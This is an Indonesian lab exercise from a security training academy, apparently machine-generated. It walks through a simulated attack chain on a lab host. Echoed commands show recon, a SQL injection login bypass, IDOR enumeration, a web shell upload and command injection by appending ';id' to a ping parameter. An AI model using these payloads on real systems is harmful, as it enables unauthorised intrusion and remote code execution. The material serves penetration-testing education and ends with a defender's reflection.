EH-29: ️ Full Attack Chain - Dari Recon Sampai Admin Compromise
Tools: Semua tools dari Lab 1: 28
Skenario
Lakukan attack chain lengkap:
1. Recon → Temukan subdomain admin.vuln.cybersecurity.or.id
2. Auth Bypass → SQL Injection di login page
3. IDOR → Akses data user lain via API
4. Sensitive Data → Password admin di response
5. Privilege Escalation → Login sebagai admin
6. File Upload → Upload shell via admin panel
7. Command Injection → RCE di server
8. FULL COMPROMISE ✅
echo "=== ATTACK CHAIN ==*"
echo ""
echo "STEP 1: Recon"
echo " dig admin.vuln.cybersecurity.or.id → 192.168.x.x"
echo " nmap -sV 192.168.x.x → Apache 2.4.41"
echo ""
echo "STEP 2: Auth Bypass"
echo " curl 'http://admin.lab/login?user=admin' OR '1'='1&pass=x'"
echo " Response: {token: 'flag{Level1}'}"
echo ""
echo "STEP 3: IDOR"
echo " curl http://admin.lab/api/users/1"
echo " curl http://admin.lab/api/users/2"
echo " Response: {id:2, name:'user', saldo:50000}"
echo ""
echo "STEP 4: Data Exposure"
echo " curl http://admin.lab/api/users | jq"
echo " Found: user 'root' with password hash"
echo ""
echo "STEP 5: Privilege Escalation"
echo " Login as root → akses admin panel"
echo ""
echo "STEP 6: File Upload"
echo " Upload shell.phtml → http://admin.lab/uploads/shell.phtml"
echo ""
echo "STEP 7: Command Injection"
echo " curl 'http://admin.lab/ping?ip=127.0.0.1;id'"
echo " uid=33(www-data) → RCE confirmed!"
echo ""
echo "=== RESULT: FULL COMPROMISE ✅ ==*"
Refleksi: Attack chain adalah real-world scenario. Attacker tidak menyerang satu celah - mereka menggabungkan multiple celah untuk mencapai tujuan. Sebagai defender, chain thinking penting untuk prioritaskan perbaikan.
Generated by @farishhz Agent Pentest Pipeline - TDCTF Security Academy